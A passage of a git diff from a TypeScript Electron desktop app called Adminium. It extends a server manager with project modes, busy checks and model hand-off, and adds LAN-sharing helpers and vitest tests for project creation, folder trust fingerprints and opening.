#state: ServerState = { status: 'idle' };
#child: ServerChildLike | null = null;
/** `run` ⇒ applies to an exit; anything else ⇒ we asked for it. */
@@ -411,6 +490,8 @@ class ServerManagerImpl implements ServerManager {
* this AFTER `ready`.
*/
#bootToken: string | null = null;
+ #mode: DesktopProjectMode | null;
+ readonly #busyWaiters = new Set<(busy: ServerBusy | null) => void>();
constructor(opts: CreateServerManagerOptions) {
this.#opts = opts;
@@ -425,6 +506,9 @@ class ServerManagerImpl implements ServerManager {
this.#fork = opts.fork ?? utilityProcessFork;
this.#host = opts.host ?? LOOPBACK_HOST;
this.#port = opts.port;
+ this.#mode = opts.project?.mode ?? null;
+ // A project is never restarted behind the person's back: its port changes at every fork, and the window is on it.
+ if (opts.project !== undefined) this.#policy = { ...this.#policy, maxRestarts: 0 };
}
get state(): ServerState {
@@ -486,10 +570,11 @@ class ServerManagerImpl implements ServerManager {
* Stop and start again, deliberately (LAN toggle is the caller). Not
* throttled and not counted against the cap: the user asked for it.
*/
- async restart(changes: { host?: string; port?: number } = {}): Promise {
+ async restart(changes: { host?: string; port?: number; mode?: DesktopProjectMode } = {}): Promise {
this.#cancelRestartTimer();
if (changes.host !== undefined) this.#host = changes.host;
if (changes.port !== undefined) this.#port = changes.port;
+ if (changes.mode !== undefined && this.#opts.project !== undefined) this.#mode = changes.mode;
const child = this.#child;
if (child !== null) {
@@ -536,12 +621,106 @@ class ServerManagerImpl implements ServerManager {
* would 401 — move the mint into `#spawnAndWait` rather than letting
* `#buildEnv` become non-idempotent.
*/
- #buildEnv(): Record {
+ get project(): { readonly root: string; readonly mode: DesktopProjectMode } | null {
+ return this.#opts.project === undefined || this.#mode === null ? null : { root: this.#opts.project.root, mode: this.#mode };
+ }
+
+ setModels(models: KeptModels): void {
+ if (this.#opts.project === undefined) return;
+ this.#models = models;
+ this.#tellModels();
+ }
+
+ onKeepModel(listener: (values: ServerKeepModelMessage['values']) => void): () => void {
+ this.#keepListeners.add(listener);
+ return () => {
+ this.#keepListeners.delete(listener);
+ };
+ }
+
+ /** To the child that is up and being built, and to no other. */
+ #tellModels(): void {
+ const child = this.#child;
+ if (child === null || this.#models === null || this.#state.status !== 'ready' || this.#mode !== 'design') return;
+ try {
+ child.postMessage({ type: 'models', values: this.#models.values, keeping: this.#models.keeping });
+ } catch {
+ // A child on its way out: the next one is told when it is up.
+ }
+ }
+
+ setPrograms(value: string): void {
+ if (this.#opts.project === undefined) return;
+ this.#programs = value;
+ const child = this.#child;
+ if (child === null || this.#state.status !== 'ready') return;
+ try {
+ child.postMessage({ type: 'programs', value });
+ } catch {
+ // A child on its way out: the next fork has the value.
+ }
+ }
+
+ async busy(): Promise {
+ const child = this.#child;
+ if (child === null || this.#state.status !== 'ready') return null;
+ return new Promise((resolve) => {
+ let settled = false;
+ const done = (busy: ServerBusy | null): void => {
+ if (settled) return;
+ settled = true;
+ this.#timers.clearTimeout(timer);
+ this.#busyWaiters.delete(done);
+ resolve(busy);
+ };
+ const timer = this.#timers.setTimeout(() => {
+ done(null);
+ }, BUSY_ANSWER_TIMEOUT_MS);
+ this.#busyWaiters.add(done);
+ try {
+ child.postMessage({ type: 'busy?' });
+ } catch {
+ done(null);
+ }
+ });
+ }
+
+ /**
+ * The classic block is built in the same tick as the fork (nothing awaits
+ * between `start()` and the child existing); a project's needs its port
+ * first, which is asked of the machine.
+ */
+ #buildEnv(): Record | Promise> {
// Step 4, per FORK. The previous child's token dies with it: nothing in the
// new process has ever heard of it, which is precisely the property
// "one success per boot token" needs and the old once-per-launch token did
// not have.
this.#bootToken = this.#opts.createBootToken();
+ const project = this.#opts.project;
+ if (project !== undefined) {
+ const mode = this.#mode ?? project.mode;
+ const bootToken = this.#bootToken;
+ const programs = this.#programs ?? project.programs;
+ return project.pickPort(mode).then((port) => {
+ this.#port = port;
+ return buildProjectServerEnv({
+ root: project.root,
+ mode,
+ port,
+ host: this.#host,
+ bootToken,
+ ...(this.#opts.logLevel === undefined ? {} : { logLevel: this.#opts.logLevel }),
+ ...(this.#opts.staticRoot === undefined ? {} : { staticRoot: this.#opts.staticRoot }),
+ ...(this.#opts.bundledAddOnsDir === undefined ? {} : { bundledAddOnsDir: this.#opts.bundledAddOnsDir }),
+ ...(project.bundledAppsDir === undefined ? {} : { bundledAppsDir: project.bundledAppsDir }),
+ ...(programs === undefined ? {} : { programs }),
+ ...(this.#opts.inheritEnv === undefined ? {} : { inherit: this.#opts.inheritEnv }),
+ });
+ });
+ }
+ if (this.#opts.dataDir === undefined || this.#opts.secret === undefined || this.#opts.singleUser === undefined) {
+ throw new Error('the classic workspace needs its data folder, its secret and its sign-in rule');
+ }
const input: BuildServerEnvInput = {
dataDir: this.#opts.dataDir,
secret: this.#opts.secret,
@@ -568,10 +747,11 @@ class ServerManagerImpl implements ServerManager {
/** One fork + one handshake. */
async #spawnAndWait(): Promise {
this.#supervise = false;
- const env = this.#buildEnv();
let child: ServerChildLike;
try {
+ const built = this.#buildEnv();
+ const env = built instanceof Promise ? await built : built;
child = this.#fork({ entry: this.#opts.entry, env });
} catch (error) {
throw new ServerStartError(
@@ -598,6 +778,17 @@ class ServerManagerImpl implements ServerManager {
}
const ready = this.#awaitReady(child);
+ child.on('message', (raw) => {
+ const parsed = parseServerMessage(raw);
+ if (!parsed.ok) return;
+ if (parsed.message.type === 'keep-model') {
+ // Only from a project being built: nothing else has a model screen that writes here.
+ if (this.#mode === 'design') for (const listener of [...this.#keepListeners]) listener(parsed.message.values);
+ return;
+ }
+ if (parsed.message.type !== 'busy') return;
+ for (const waiter of [...this.#busyWaiters]) waiter(parsed.message.busy);
+ });
child.on('exit', (code) => {
this.#onExit(child, code);
});
@@ -613,6 +804,8 @@ class ServerManagerImpl implements ServerManager {
};
this.#supervise = true;
this.#setState({ status: 'ready', ...info });
+ // Up: now, and not a moment sooner, it is given the keys (they are never in what it was started with).
+ this.#tellModels();
this.#log.write(
`[main] server ready on ${info.url} (pid ${String(info.pid ?? 'unknown')}, ` +
`${String(info.migrationsApplied)} migration(s) applied)`,
@@ -634,7 +827,7 @@ class ServerManagerImpl implements ServerManager {
#awaitReady(child: ServerChildLike): Promise {
return new Promise((resolve, reject) => {
let settled = false;
- const timeoutMs = this.#opts.readyTimeoutMs ?? DEFAULT_READY_TIMEOUT_MS;
+ const timeoutMs = this.#opts.readyTimeoutMs ?? (this.#opts.project === undefined ? DEFAULT_READY_TIMEOUT_MS : PROJECT_READY_TIMEOUT_MS);
const finish = (fn: () => void): void => {
if (settled) return;
@@ -676,6 +869,8 @@ class ServerManagerImpl implements ServerManager {
fail(`The Adminium server failed to start (${stage}): ${message}`, null);
return;
}
+ // An answer to `busy?` (asked by `busy()`) or a model saved: never a start's outcome.
+ if (parsed.message.type === 'busy' || parsed.message.type === 'keep-model') return;
const ready = parsed.message;
finish(() => {
resolve(ready);
@@ -696,6 +891,7 @@ class ServerManagerImpl implements ServerManager {
// A stale child's exit (we already replaced it) must not drive state.
if (this.#child !== child) return;
this.#child = null;
+ for (const waiter of [...this.#busyWaiters]) waiter(null);
for (const waiter of this.#exitWaiters) waiter(code);
this.#exitWaiters.clear();
@@ -779,8 +975,11 @@ class ServerManagerImpl implements ServerManager {
}
/** Post `shutdown`, wait, then `kill()`. Resolves once the child is gone. */
- #closeChild(child: ServerChildLike): Promise {
- const timeoutMs = this.#opts.shutdownTimeoutMs ?? DEFAULT_SHUTDOWN_TIMEOUT_MS;
+ async #closeChild(child: ServerChildLike): Promise {
+ // A project's server that is in the middle of a turn gets the time to end it and write that it did.
+ const wasBusy = this.#opts.project === undefined ? null : await this.busy();
+ if (this.#child !== child) return;
+ const timeoutMs = this.#opts.shutdownTimeoutMs ?? (wasBusy === null ? DEFAULT_SHUTDOWN_TIMEOUT_MS : PROJECT_BUSY_SHUTDOWN_TIMEOUT_MS);
return new Promise((resolve) => {
let settled = false;
const done = (): void => {
diff --git a/apps/desktop/src/main/share.test.ts b/apps/desktop/src/main/share.test.ts
new file mode 100644
index 000000000..d2386eed7
--- /dev/null
+++ b/apps/desktop/src/main/share.test.ts
@@ -0,0 +1,60 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// A test may import the server freely (it does not ship): main may not, so the two copies of the rule are held here.
+import { sharedHosts, sharedLocalName } from '@adminium/server';
+import { describe, expect, it, vi } from 'vitest';
+
+import { localName, shareAddresses, sharePortFor } from './share.js';
+
+const NET = () => ({
+ lo0: [{ address: '127.0.0.1', family: 'IPv4', internal: true }],
+ en0: [{ address: '192.168.1.20', family: 'IPv4', internal: false }, { address: 'fe80::1', family: 'IPv6', internal: false }],
+ en7: [{ address: '10.0.0.5', family: 4, internal: false }],
+});
+
+describe('a computer’s name on the network', () => {
+ it('is its first label, lower case, with .local', () => {
+ expect(localName('Office-Mac.local')).toBe('office-mac.local');
+ expect(localName('DESKTOP-7QK2')).toBe('desktop-7qk2.local');
+ expect(localName('studio.lan.example')).toBe('studio.local');
+ });
+ it('is nothing for a name no device could ask for', () => {
+ for (const name of ['', 'localhost', 'Ava’s MacBook', 'bad_name', '-x', 'x-']) expect(localName(name), name).toBeNull();
+ });
+});
+
+describe('the addresses a shared project answers on', () => {
+ it('every address the app shows is one the shared server answers to', () => {
+ for (const name of ['Office-Mac.local', 'DESKTOP-7QK2', 'studio.lan.example', '', 'localhost', 'bad_name', '-x']) expect(sharedLocalName(name), name).toBe(localName(name));
+ const answered = sharedHosts(4712, 'Office-Mac.local', NET() as never);
+ const shown = shareAddresses(4712, 'Office-Mac.local', NET as never);
+ expect(shown.length).toBeGreaterThan(0);
+ for (const address of shown) expect(answered.has(new URL(address.url).host), address.url).toBe(true);
+ });
+ it('gives the computer’s name first, as the one to hand out, then one per network', () => {
+ expect(shareAddresses(4712, 'Office-Mac.local', NET as never)).toEqual([
+ { url: 'http://office-mac.local:4712', via: null, best: true },
+ { url: 'http://192.168.1.20:4712', via: 'en0', best: false },
+ { url: 'http://10.0.0.5:4712', via: 'en7', best: false },
+ ]);
+ });
+ it('with no usable name, the first network address is the one to hand out', () => {
+ expect(shareAddresses(4712, 'localhost', NET as never).map((address) => address.best)).toEqual([true, false]);
+ });
+ it('on no network there is nothing to hand out, the name included', () => {
+ expect(shareAddresses(4712, 'office-mac', (() => ({ lo0: [{ address: '127.0.0.1', family: 'IPv4', internal: true }] })) as never)).toEqual([]);
+ });
+});
+
+describe('the port a project is shared on', () => {
+ it('is picked free the first time', async () => {
+ await expect(sharePortFor(null, vi.fn(), () => Promise.resolve(4712))).resolves.toEqual({ port: 4712, changedFrom: null });
+ });
+ it('is the one it had, while that is free: a phone’s bookmark still works', async () => {
+ const pick = vi.fn(() => Promise.resolve(4799));
+ await expect(sharePortFor(4712, () => Promise.resolve(true), pick)).resolves.toEqual({ port: 4712, changedFrom: null });
+ expect(pick).not.toHaveBeenCalled();
+ });
+ it('is another when that one is taken, and says the address changed', async () => {
+ await expect(sharePortFor(4712, () => Promise.resolve(false), () => Promise.resolve(4713))).resolves.toEqual({ port: 4713, changedFrom: 4712 });
+ });
+});
diff --git a/apps/desktop/src/main/share.ts b/apps/desktop/src/main/share.ts
new file mode 100644
index 000000000..d4abeb674
--- /dev/null
+++ b/apps/desktop/src/main/share.ts
@@ -0,0 +1,62 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * A project that is shared on the network instead of being built:
+ * the addresses another device uses, and the port a project keeps
+ * so that a phone's bookmark survives the next time it is shared.
+ *
+ * ELECTRON-FREE. The switch itself (stop, start on the network, the window) is
+ * main's (`index.ts`); what is here is what can be wrong quietly.
+ */
+import { enumerateLanUrls } from './lan.js';
+
+type Interfaces = Parameters[1];
+
+export interface ShareAddress {
+ /** `http://office-mac.local:4712` */
+ readonly url: string;
+ /** The network interface it is on (`en0`, `Wi-Fi`), or `null` for the computer's own name. */
+ readonly via: string | null;
+ /** The one to give out first: the computer's name, which stays the same when the network gives it another number. */
+ readonly best: boolean;
+}
+
+/**
+ * A computer's name as other devices on the network ask for it: its first
+ * label, lower case, with `.local`. `null` for a name that cannot be one
+ * (empty, `localhost`, characters a host name may not have).
+ */
+export function localName(hostname: string): string | null {
+ const first = (hostname.split('.')[0] ?? '').trim().toLowerCase();
+ if (first === '' || first === 'localhost' || !/^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$/.test(first)) return null;
+ return `${first}.local`;
+}
+
+/** The addresses a shared project answers on, the computer's name first, then one per network it is on. */
+export function shareAddresses(port: number, hostname: string, interfaces?: Interfaces): ShareAddress[] {
+ const raw = interfaces === undefined ? enumerateLanUrls(port) : enumerateLanUrls(port, interfaces);
+ // With no network at all there is nobody to give the name to.
+ if (raw.length === 0) return [];
+ const name = localName(hostname);
+ return [
+ // Written as the interface addresses are (`entry.address`): one shape of address in this app, which the offline
+ // gate knows by that name.
+ ...(name === null ? [] : [{ address: name }]).map((entry) => ({ url: `http://${entry.address}:${String(port)}`, via: null, best: true })),
+ ...raw.map((entry, index) => ({ url: entry.url, via: entry.interfaceName, best: name === null && index === 0 })),
+ ];
+}
+
+export interface SharePort {
+ readonly port: number;
+ /** The project had another port before and it is taken now: the address other devices know has changed. */
+ readonly changedFrom: number | null;
+}
+
+/**
+ * The port a project is shared on: the one it had, while that is free; else a
+ * free one (and the caller says the address changed). The first time, a free
+ * one, which is then kept.
+ */
+export async function sharePortFor(kept: number | null, isFree: (port: number) => Promise, pickFree: () => Promise): Promise {
+ if (kept !== null && (await isFree(kept))) return { port: kept, changedFrom: null };
+ return { port: await pickFree(), changedFrom: kept };
+}
diff --git a/apps/desktop/src/main/start.test.ts b/apps/desktop/src/main/start.test.ts
new file mode 100644
index 000000000..21d5db34d
--- /dev/null
+++ b/apps/desktop/src/main/start.test.ts
@@ -0,0 +1,813 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { existsSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, symlinkSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+
+import { createDefaultConfig, type DesktopConfig } from './config.js';
+import type { FolderFacts } from './folder-open.js';
+import { realFolderDeps, rememberProject } from './projects.js';
+import { CANNOT_MAKE_PROJECT, createStartService, displayPathOf, nameFromFolder, projectFingerprint, type StartChoice, type StartDeps } from './start.js';
+
+let home: string;
+let config: DesktopConfig;
+let chosen: StartChoice[];
+
+beforeEach(() => {
+ home = realpathSync(mkdtempSync(join(tmpdir(), 'adminium-start-')));
+ config = createDefaultConfig(join(home, 'data'));
+ chosen = [];
+});
+afterEach(() => {
+ rmSync(home, { recursive: true, force: true });
+});
+
+/** A folder that is a project, with one hook. */
+function project(name: string, opts: { packages?: boolean } = {}): string {
+ const root = join(home, name);
+ mkdirSync(join(root, 'hooks'), { recursive: true });
+ writeFileSync(join(root, 'adminium.config.ts'), 'export default {};\n');
+ writeFileSync(join(root, 'package.json'), '{"name":"x"}\n');
+ writeFileSync(join(root, 'hooks', 'on-save.ts'), 'export default 1;\n');
+ if (opts.packages !== false) mkdirSync(join(root, 'node_modules'));
+ return root;
+}
+
+function service(overrides: Partial = {}) {
+ const saved: DesktopConfig[] = [];
+ const deps: StartDeps = {
+ readConfig: () => config,
+ saveConfig: (next) => {
+ config = next;
+ saved.push(next);
+ return Promise.resolve();
+ },
+ folder: { ...realFolderDeps(join(home, 'the-app'), 'darwin'), home },
+ classicUsed: () => false,
+ chooseDirectory: () => Promise.resolve(null),
+ now: () => new Date('2026-10-10T08:00:00.000Z'),
+ onChoice: (choice) => {
+ chosen.push(choice);
+ },
+ ...overrides,
+ };
+ return { start: createStartService(deps), saved };
+}
+
+describe('a path as a person reads it', () => {
+ it('shortens the home folder, and only the home folder', () => {
+ expect(displayPathOf('/Users/sam/Adminium/shop', '/Users/sam', 'darwin')).toBe('~/Adminium/shop');
+ expect(displayPathOf('/Users/sam', '/Users/sam', 'darwin')).toBe('~');
+ expect(displayPathOf('/Users/samantha/shop', '/Users/sam', 'darwin')).toBe('/Users/samantha/shop');
+ expect(displayPathOf('/Volumes/Disk/shop', '/Users/sam', 'linux')).toBe('/Volumes/Disk/shop');
+ });
+ it('leaves a Windows path as it is', () => {
+ expect(displayPathOf('C:\\Users\\Sam\\Adminium\\shop', 'C:\\Users\\Sam', 'win32')).toBe('C:\\Users\\Sam\\Adminium\\shop');
+ });
+});
+
+describe('a name for a folder opened for the first time', () => {
+ it('reads the dashes as spaces', () => {
+ expect(nameFromFolder('/Users/sam/Adminium/juniper-kitchen')).toBe('Juniper Kitchen');
+ expect(nameFromFolder('C:\\Users\\Sam\\bike_repairs')).toBe('Bike Repairs');
+ expect(nameFromFolder('/x/---')).toBe('---');
+ });
+});
+
+describe('the fingerprint of a folder’s code', () => {
+ it('is null for a folder that is not a project', () => {
+ mkdirSync(join(home, 'plain'));
+ writeFileSync(join(home, 'plain', 'package.json'), '{}');
+ expect(projectFingerprint(join(home, 'plain'))).toBeNull();
+ });
+
+ it('changes with a hook’s content, a new action, the config and package.json, and with nothing else', () => {
+ const root = project('shop');
+ const first = projectFingerprint(root);
+ expect(first).toMatch(/^[0-9a-f]{64}$/);
+ expect(projectFingerprint(root)).toBe(first);
+
+ // Not code the engine runs when the folder is opened.
+ mkdirSync(join(root, 'data'));
+ writeFileSync(join(root, 'data', 'meta.db'), 'rows');
+ writeFileSync(join(root, 'README.md'), 'hello');
+ mkdirSync(join(root, 'hooks', 'node_modules'));
+ writeFileSync(join(root, 'hooks', 'node_modules', 'x.js'), '1');
+ expect(projectFingerprint(root)).toBe(first);
+
+ writeFileSync(join(root, 'hooks', 'on-save.ts'), 'export default 2;\n');
+ const second = projectFingerprint(root);
+ expect(second).not.toBe(first);
+
+ mkdirSync(join(root, 'actions', 'deep'), { recursive: true });
+ writeFileSync(join(root, 'actions', 'deep', 'send.ts'), 'export default 1;\n');
+ const third = projectFingerprint(root);
+ expect(third).not.toBe(second);
+
+ writeFileSync(join(root, 'package.json'), '{"name":"y"}\n');
+ const fourth = projectFingerprint(root);
+ expect(fourth).not.toBe(third);
+
+ writeFileSync(join(root, 'adminium.config.ts'), 'export default { a: 1 };\n');
+ expect(projectFingerprint(root)).not.toBe(fourth);
+ });
+
+ it('counts a renamed file, and a link by where it points without following it', () => {
+ const root = project('shop');
+ const before = projectFingerprint(root);
+ const outside = join(home, 'elsewhere.ts');
+ writeFileSync(outside, 'export default 1;\n');
+ symlinkSync(outside, join(root, 'hooks', 'linked.ts'));
+ const linked = projectFingerprint(root);
+ expect(linked).not.toBe(before);
+ // What the link points AT is not read: the fingerprint is of this folder.
+ writeFileSync(outside, 'export default 99;\n');
+ expect(projectFingerprint(root)).toBe(linked);
+ });
+});
+
+describe('Start’s state', () => {
+ it('welcomes a first launch: no recent project and no classic workspace', () => {
+ expect(service().start.state()).toMatchObject({ firstLaunch: true, recent: [], proposedParent: join(home, 'Adminium'), proposedParentDisplay: '~/Adminium', language: null, theme: 'system' });
+ expect(service({ classicUsed: () => true }).start.state().firstLaunch).toBe(false);
+ });
+
+ it('lists the recent projects newest first, with a path a person reads and whether the folder is still there', () => {
+ const shop = project('shop');
+ config = rememberProject(config, { path: shop, name: 'Shop' }, new Date('2026-10-08T00:00:00Z'));
+ config = rememberProject(config, { path: join(home, 'gone'), name: 'Gone', state: 'shared' }, new Date('2026-10-09T00:00:00Z'));
+ const state = service().start.state();
+ expect(state.firstLaunch).toBe(false);
+ expect(state.recent).toEqual([
+ { path: join(home, 'gone'), displayPath: '~/gone', name: 'Gone', lastOpened: '2026-10-09T00:00:00.000Z', state: 'shared', missing: true },
+ { path: shop, displayPath: '~/shop', name: 'Shop', lastOpened: '2026-10-08T00:00:00.000Z', state: 'building', missing: false },
+ ]);
+ // No fingerprint, no port: the page is told what it draws.
+ expect(Object.keys(state.recent[0] ?? {})).not.toContain('trusted');
+ });
+});
+
+describe('a new project', () => {
+ it('is judged for the page, with the path as a person reads it', () => {
+ const { start } = service();
+ expect(start.judgeNewFolder({ parent: join(home, 'Adminium'), name: 'Juniper Kitchen' })).toEqual({ ok: true, path: join(home, 'Adminium', 'juniper-kitchen'), displayPath: '~/Adminium/juniper-kitchen', warning: null });
+ expect(start.judgeNewFolder({ parent: join(home, 'Adminium'), name: ' ' })).toEqual({ ok: false, path: null, displayPath: null, refused: 'no-name' });
+ });
+
+ it('is judged AGAIN when it is made: a refused folder is never handed to the maker', async () => {
+ const shop = project('shop');
+ const makeProject = vi.fn(() => Promise.resolve({ ok: true as const }));
+ const { start, saved } = service({ makeProject });
+ await expect(start.createProject({ parent: shop, name: 'Inner' })).resolves.toEqual({ status: 'refused', refused: 'inside-a-project' });
+ expect(makeProject).not.toHaveBeenCalled();
+ expect(saved).toEqual([]);
+ expect(chosen).toEqual([]);
+ });
+
+ it('waits for the person’s yes on a warning', async () => {
+ const synced = join(home, 'Library', 'Mobile Documents', 'com~apple~CloudDocs');
+ mkdirSync(synced, { recursive: true });
+ const makeProject = vi.fn(({ root }: { root: string }) => {
+ mkdirSync(root, { recursive: true });
+ writeFileSync(join(root, 'adminium.config.ts'), 'export default {};\n');
+ return Promise.resolve({ ok: true as const });
+ });
+ const { start } = service({ makeProject });
+ await expect(start.createProject({ parent: synced, name: 'Shop' })).resolves.toEqual({ status: 'warned', warning: 'icloud' });
+ expect(makeProject).not.toHaveBeenCalled();
+ await expect(start.createProject({ parent: synced, name: 'Shop', acceptWarning: true })).resolves.toMatchObject({ status: 'created' });
+ expect(makeProject).toHaveBeenCalledTimes(1);
+ });
+
+ it('is made, remembered as agreed to, and chosen', async () => {
+ const parent = join(home, 'Adminium');
+ const makeProject = vi.fn(({ root }: { parent: string; folder: string; root: string }) => {
+ mkdirSync(root, { recursive: true });
+ writeFileSync(join(root, 'adminium.config.ts'), 'export default {};\n');
+ return Promise.resolve({ ok: true as const });
+ });
+ const { start } = service({ makeProject });
+ const root = join(parent, 'juniper-kitchen');
+ await expect(start.createProject({ parent, name: ' Juniper Kitchen ' })).resolves.toEqual({ status: 'created', path: root });
+ expect(makeProject).toHaveBeenCalledWith({ parent, folder: 'juniper-kitchen', root, onStep: expect.any(Function) as unknown });
+ expect(config.projects).toMatchObject([{ path: root, name: 'Juniper Kitchen', lastOpened: '2026-10-10T08:00:00.000Z', state: 'building', sharePort: null, trusted: projectFingerprint(root) }]);
+ expect(config.projects[0]?.trusted).not.toBeNull();
+ expect(chosen).toEqual([{ kind: 'project', root }]);
+ });
+
+ it('says where the making is while it runs, and nothing once it failed', async () => {
+ const seen: (string | null)[] = [];
+ let fail = false;
+ const made: { start?: ReturnType['start'] } = {};
+ const makeProject = vi.fn(({ root, onStep }: { root: string; onStep?: (step: 'files' | 'packages' | 'database') => void }) => {
+ seen.push(made.start?.makeProgress().step ?? null);
+ onStep?.('files');
+ seen.push(made.start?.makeProgress().step ?? null);
+ onStep?.('packages');
+ seen.push(made.start?.makeProgress().step ?? null);
+ if (fail) return Promise.resolve({ ok: false as const, detail: 'no' });
+ mkdirSync(root, { recursive: true });
+ writeFileSync(join(root, 'adminium.config.ts'), 'export default {};\n');
+ return Promise.resolve({ ok: true as const });
+ });
+ const { start } = service({ makeProject });
+ made.start = start;
+ expect(start.makeProgress().step).toBeNull();
+ fail = true;
+ await start.createProject({ parent: join(home, 'Adminium'), name: 'Shop' });
+ expect(seen).toEqual([null, 'files', 'packages']);
+ expect(start.makeProgress().step).toBeNull();
+ fail = false;
+ await start.createProject({ parent: join(home, 'Adminium'), name: 'Shop' });
+ // Made: the page is about to be replaced, and is not sent back to "Create" for a moment first.
+ expect(start.makeProgress()).toEqual({ step: 'opening', since: new Date('2026-10-10T08:00:00.000Z').getTime() });
+ });
+
+ it('says why when the maker fails, and remembers nothing', async () => {
+ const { start, saved } = service({ makeProject: () => Promise.resolve({ ok: false, detail: 'npm error code ENOTFOUND' }) });
+ await expect(start.createProject({ parent: join(home, 'Adminium'), name: 'Shop' })).resolves.toEqual({ status: 'failed', detail: 'npm error code ENOTFOUND' });
+ expect(saved).toEqual([]);
+ expect(chosen).toEqual([]);
+ });
+
+ it('fails in its own words in a build that cannot make one', async () => {
+ await expect(service().start.createProject({ parent: join(home, 'Adminium'), name: 'Shop' })).resolves.toEqual({ status: 'failed', detail: CANNOT_MAKE_PROJECT });
+ });
+
+ it('makes one at a time: a second press while the first runs starts nothing', async () => {
+ let finish: (() => void) | null = null;
+ const makeProject = vi.fn(
+ ({ root }: { root: string }) =>
+ new Promise<{ ok: true }>((done) => {
+ finish = () => {
+ mkdirSync(root, { recursive: true });
+ writeFileSync(join(root, 'adminium.config.ts'), 'export default {};\n');
+ done({ ok: true });
+ };
+ }),
+ );
+ const { start } = service({ makeProject });
+ const first = start.createProject({ parent: join(home, 'Adminium'), name: 'Shop' });
+ await expect(start.createProject({ parent: join(home, 'Adminium'), name: 'Other' })).resolves.toMatchObject({ status: 'failed' });
+ expect(makeProject).toHaveBeenCalledTimes(1);
+ await vi.waitFor(() => {
+ expect(finish).not.toBeNull();
+ });
+ (finish as unknown as () => void)();
+ await expect(first).resolves.toMatchObject({ status: 'created' });
+ // And the next one may be made.
+ const again = start.createProject({ parent: join(home, 'Adminium'), name: 'Other' });
+ await vi.waitFor(() => {
+ expect(makeProject).toHaveBeenCalledTimes(2);
+ });
+ (finish as unknown as () => void)();
+ await expect(again).resolves.toMatchObject({ status: 'created' });
+ });
+});
+
+describe('opening a folder', () => {
+ it('asks before a folder never agreed to is opened, and starts nothing', async () => {
+ const shop = project('shop');
+ const { start, saved } = service();
+ await expect(start.openProject({ path: shop })).resolves.toEqual({ status: 'trust-needed', path: shop, displayPath: '~/shop', changed: false });
+ expect(saved).toEqual([]);
+ expect(chosen).toEqual([]);
+ });
+
+ it('opens it on a yes, and remembers what was agreed to', async () => {
+ const shop = project('juniper-kitchen');
+ const { start } = service();
+ await expect(start.openProject({ path: shop, agreed: true })).resolves.toEqual({ status: 'opened' });
+ expect(config.projects).toMatchObject([{ path: shop, name: 'Juniper Kitchen', lastOpened: '2026-10-10T08:00:00.000Z', state: 'building', sharePort: null, trusted: projectFingerprint(shop) }]);
+ expect(chosen).toEqual([{ kind: 'project', root: shop }]);
+ });
+
+ it('opens an agreed folder again without asking, keeping its name', async () => {
+ const shop = project('shop');
+ config = rememberProject(config, { path: shop, name: 'My Shop', trusted: projectFingerprint(shop) });
+ await expect(service().start.openProject({ path: shop })).resolves.toEqual({ status: 'opened' });
+ expect(config.projects[0]?.name).toBe('My Shop');
+ });
+
+ it('opens it on its dashboard when Start asked for that, and on the Designer otherwise', async () => {
+ const shop = project('shop');
+ config = rememberProject(config, { path: shop, name: 'My Shop', trusted: projectFingerprint(shop) });
+ const { start } = service();
+ await start.openProject({ path: shop, land: 'dashboard' });
+ await start.openProject({ path: shop, land: 'designer' });
+ await start.openProject({ path: shop });
+ expect(chosen).toEqual([{ kind: 'project', root: shop, land: 'dashboard' }, { kind: 'project', root: shop }, { kind: 'project', root: shop }]);
+ });
+
+ it('asks again when the code is no longer the code agreed to', async () => {
+ const shop = project('shop');
+ config = rememberProject(config, { path: shop, name: 'Shop', trusted: projectFingerprint(shop) });
+ writeFileSync(join(shop, 'hooks', 'on-save.ts'), 'export default "changed";\n');
+ await expect(service().start.openProject({ path: shop })).resolves.toEqual({ status: 'trust-needed', path: shop, displayPath: '~/shop', changed: true });
+ expect(chosen).toEqual([]);
+ });
+
+ it('is by the folder’s real path: a link to an agreed folder is that folder', async () => {
+ const shop = project('shop');
+ config = rememberProject(config, { path: shop, name: 'Shop', trusted: projectFingerprint(shop) });
+ symlinkSync(shop, join(home, 'alias'));
+ await expect(service().start.openProject({ path: join(home, 'alias') })).resolves.toEqual({ status: 'opened' });
+ expect(chosen).toEqual([{ kind: 'project', root: shop }]);
+ });
+
+ it('says a folder is gone, or is not a project, and never adopts a parent’s', async () => {
+ const shop = project('shop');
+ mkdirSync(join(shop, 'inner'));
+ const { start } = service();
+ await expect(start.openProject({ path: join(home, 'nowhere'), agreed: true })).resolves.toEqual({ status: 'missing' });
+ await expect(start.openProject({ path: join(shop, 'inner'), agreed: true })).resolves.toEqual({ status: 'not-a-project' });
+ expect(chosen).toEqual([]);
+ });
+
+ it('remembers an agreed folder that has no packages yet, and does not start it', async () => {
+ const shop = project('shop', { packages: false });
+ await expect(service().start.openProject({ path: shop, agreed: true })).resolves.toEqual({ status: 'needs-packages', path: shop, displayPath: '~/shop' });
+ expect(config.projects[0]?.trusted).toBe(projectFingerprint(shop));
+ expect(chosen).toEqual([]);
+ });
+
+ it('gets the packages of an agreed folder, then opens it where it was asked to land', async () => {
+ const shop = project('shop', { packages: false });
+ const installPackages = vi.fn(({ root }: { root: string }) => {
+ mkdirSync(join(root, 'node_modules'), { recursive: true });
+ writeFileSync(join(root, 'package-lock.json'), '{}');
+ return Promise.resolve({ ok: true as const });
+ });
+ const { start } = service({ installPackages });
+ // Never into a folder nobody agreed to open.
+ await expect(start.getPackages({ path: shop })).resolves.toEqual({ status: 'trust-needed' });
+ expect(installPackages).not.toHaveBeenCalled();
+ await start.openProject({ path: shop, agreed: true });
+ // In place, and nothing started from here: the rest of the opening (a missing key, what was made, the accounts)
+ // is `openProject`'s to ask, and it is what starts the project.
+ await expect(start.getPackages({ path: shop, land: 'dashboard' })).resolves.toEqual({ status: 'ready' });
+ expect(installPackages).toHaveBeenCalledWith({ root: shop });
+ expect(chosen).toEqual([]);
+ await expect(start.openProject({ path: shop, land: 'dashboard' })).resolves.toEqual({ status: 'opened' });
+ expect(chosen).toEqual([{ kind: 'project', root: shop, land: 'dashboard' }]);
+ // What the install wrote is the app's own change: the folder opens next time without the question.
+ await expect(start.openProject({ path: shop })).resolves.toEqual({ status: 'opened' });
